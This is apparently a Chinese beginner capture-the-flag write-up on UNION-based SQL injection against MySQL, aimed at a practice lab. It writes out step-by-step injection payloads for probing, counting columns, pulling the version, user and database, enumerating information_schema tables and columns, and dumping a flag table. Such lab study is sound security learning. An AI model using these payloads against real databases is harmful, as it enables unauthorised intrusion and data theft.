提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
前言
主要是针对于Mysql 5.0版本即以上的sql注入漏洞的利用
需要了解的知识包括
1、mysql数据库的基本查询语句格式
2、mysql数据库版本的不同产生的具体变化
3、group_cat、binary函数的含义及使用
4、常用注入语句及原理
一、Mysql默认的information库基本结构
1.schemata表内容
该表记录数据库内全部的库名称,并且不重复。此处重点使用**Schema_name**
2.tables表内容
该表记录数据库内的库民、表名、字段,内容存在重复。此处重点使用**table_name**
3.columns表内容
该表记录数据库库名、表名、字段名,一一对应。此处重点使用Column_name
二、渗透靶场地址
http://47.103.94.191:8034/
三、mysql渗透步骤
1.进入靶场,查看页面基本信息
2.判断是否存在注入
通过注入变量 id=1‘#
通过变量的注入测试可发现该网页后台是mysql并且存在sql注入
3.判断是否存在 符号过滤
具体方法则通过符号注入测试是否能正常回显页面,不能则可能存在符号过滤
例如: id=1 ’ and 1=1 可判断是否存在 “=”过滤,若存在可使用like语句绕过
4.判断数据库字段列名数量
使用order by语句连续查出字段列名数量。
表示通过第一字段的顺序进行排序,当输入order by x报错时,就说明没有这个字段,就可以得到输出的字段数了
–查询字段列列名数量为14
结果为:
5.使用联合查询判断显位点
-1' union select 1,2,3 ,4,5,6,7,8,9,10,11,12,13,14 #
结果为:
通过语句判错的方式找到显位点为3,9
6.基本信息收集
基本信息收集
服务器系统:@@version_compile_os语句------linux-glibc2.12
当前数据库用户:user()语句------------------------test@192.168.96.2
数据库版本型号:version()语句---------------------5.5.62
数据库名:database()语句--------------------------- cms
**1' union select 1,2,version(),4,5,6,7,8,database(),10,11,12,13,14 #**
结果为:
7.查询指定数据(cms)库下所有的表名
根据Mysql数据结构层级逐一从数据库–>表名–>字段名–>具体信息的顺序获取信息
注意:Mysql数据库5.0及以上版本存在information库,其中包括三个重要的表,分别为information.schema.schemata、infromation.schema.tables、infromation.schema.columns。分别记录了数据库类的所有库名、表名和字段名
**1' union select 1,2,binary(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema like 'cms'#**
结果为:
8.查询指定表明下的所有字段名
根据第六步查询到的所有表名,查询所有字段名
**1' union select 1,2,binary(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name like 'this_is_flag'#**
结果为:
9.查询具体信息
根据第七部查询的所有字段名获取具体信息
1' union select 1,2,binary(id),4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag#
结果为:
四、总结
提示:这里对文章进行总结:
第一次写write up,不足之处还请各位大佬批评指出。本次sql注入很轻松完成,最后注意查询具体信息时语句为:
1' union select 1,2,binary(id),4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag#
为什么不是’this_is_flag’而是this_is_flag?值得思考